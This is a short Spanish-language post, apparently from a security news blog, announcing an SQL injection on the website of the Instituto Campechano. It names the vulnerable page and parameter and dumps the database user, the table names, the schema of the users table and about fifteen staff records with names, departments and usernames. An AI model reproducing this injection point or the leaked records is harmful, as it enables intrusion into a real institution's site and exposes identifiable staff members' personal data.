Hackean al Instituto Campechano (icenlinea.com)

Un problema de SQL Injection permite al sitio web del Instituto Campechano obtener información privilegiada:

http://www.icenlinea.com/centrodeinfoma.php?pagina=’

Usuario BDD:
‘icenline_iclinea’@’localhost’

Base de datos: icenline_icenlinea

Tablas:
+– ————–+
| archivos |
| banners |
| categorias |
| directores |
| egresados |
| especialidades |
| fotosgalerias |
| galerias |
| generaciones |
| horariosradio |
| laboral |
| noticias |
| radio |
| sitios |
| usuarios |
+—————-+

Tabla: usuarios
[10 columnas]
+————+—————————+
| Columna | Tipo |
+————+—————————+
| Apellidos | varchar(100) |
| Area | varchar(200) |
| correo | varchar(200) |
| Fecha | varchar(100) |
| IDUsuario | int(10) |
| Nombre | varchar(70) |
| Password | varchar(15) |
| Privilegio | int(11) |
| Usuario | varchar(15) |
| Visitas | int(11) |
+——————————–+

Algunos usuarios (No publicaré passwords):

| Cahuich Uc | Normal Primaria | [email protected] Yara Beatriz | nprimaria
| Valladares Herrera | Posgrado | [email protected] Miguel Angel | posgrado
| Arroyo Rodr€guez | Planeaci€n | [email protected] Martha E. | planeacion
| Dom€nguez Poot | Control Escolar | [email protected] Jorge Arturo | controlesc
| Dom€nguez Poot | Secretar€a General A | [email protected] Jorge Arturo | secreta
| Aguilar Moreno | Laboratorio de Idiomas | [email protected] Manuel | labidiomas
| Puch Mendoza | Preparatoria Vespertina | [email protected] Victor Manuel | prepavesp
| L€pez Mart€nez | Preparatoria Nocturna | [email protected] Luis Daniel | pnocturna
| Sarmiento Ortiz | Ciencias de la Comunicaci€n | [email protected] Sara I. | comunica
| Ortiz Lara | Normal Superior | [email protected] Julio C€sar | nsuperior
| Meneses | Gastronom€a | [email protected] Rafael | gastrorafa
| Pedraza | Turismo – Semiescolarizado | [email protected] Betty | semturismo
| Pedraza | Turismo | [email protected] Betty | turismo
| Campos | Laboratorio Maya | [email protected] Blanca | labmaya
| MASTER | NOTICIAS I.C | [email protected] WEB- MASTER | WEB

http://www.icenlinea.com/vernoticia.php?ID=0000000905

Fuente: Correo anónimo: [email protected]